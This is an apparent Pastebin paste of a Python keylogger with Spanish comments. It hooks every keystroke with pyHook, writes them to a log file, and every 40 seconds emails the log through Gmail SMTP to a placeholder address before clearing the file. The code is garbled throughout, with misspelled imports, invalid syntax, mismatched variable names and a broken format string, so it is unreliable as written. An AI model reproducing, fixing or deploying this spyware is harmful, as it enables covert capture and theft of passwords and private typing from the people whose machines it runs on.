Advertisement
ANARCHY404

Untitled

May 11th, 2019
113
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.68 KB | None | 0 0
  1.  
  2. #
  3.  
  4. import pyHook
  5. import pythoncom
  6. import sys
  7. import logging
  8. import time
  9. import datatime
  10.  
  11. Wait_seconds = 40
  12. timeout = time.time() + Wait_seconds
  13.  
  14. file_log = 'documento.txt' is list else
  15.  
  16.  
  17.  
  18. def TimeOut():
  19. if time.time()> timeout:
  20. return True
  21. else:
  22. return False
  23.  
  24. def SendEmail(user, pwd, recipient, subject, body):
  25.  
  26.  
  27. import smtplib
  28.  
  29.  
  30. gmail_user = user
  31. gmail_pass = pwd
  32. FROM = user
  33. TO = recipient if type(recipient) [recipient]
  34. SUBJECT = subject
  35. TEXT = body
  36.  
  37.  
  38.     Message = """\From: %s\nTo: %s\nSubject: %\n\n%s
  39.     """ % (FROM, ", ".join(TO), SUBJECT, TEXT)
  40.  
  41.     try:
  42.     server = smtplib.SMTP ("smtp.gmail.com", 587)
  43.     server.ehlo()
  44.     server.startls()
  45.     server.login(gmail_user, gmail_pass)
  46.     server.sendmail(FROM, TO, message)
  47.     server.close()
  48.     print ('Correo enviado satisfactoriamente')
  49.     except:
  50.     print ('Error al mandar correo')
  51.  
  52.  
  53. def FormatAndSendLogEmail():
  54.  
  55. with open(file_log, 'r+')as f:
  56. actualdate = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
  57. data = f.read().replace('\n', '');
  58. data = 'log capturado a las: '+ actualdate + '\n' + data
  59. SendEmail ('elcorreo@gmail.com', 'laclave','elcorreo@gmail.com',
  60. 'Nuevo log – ' + actualdate,data)
  61.  
  62.  
  63. f.seek(0)
  64. f.truncate()
  65.  
  66. def OnKeyboardEvent(evento):
  67. logging.basicConfig(filename=file_log, level=logging.DEBUG,format = '%(message)s')
  68. logging_log(10, chr(event.Ascii))
  69. return True
  70.  
  71.  
  72. hooks_manager = pyHook.HookManager()
  73. hooks_manager.KeyDown = OnKeyboardEvent
  74. hooks_manager.HookKeyboard()
  75.  
  76. while True:
  77. if TimeOut():
  78. FormatAndSendLogEmail()
  79. Timeout=time.time() + Wait_seconds
  80.  
  81. pythoncom.PumpWaitingMessages()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement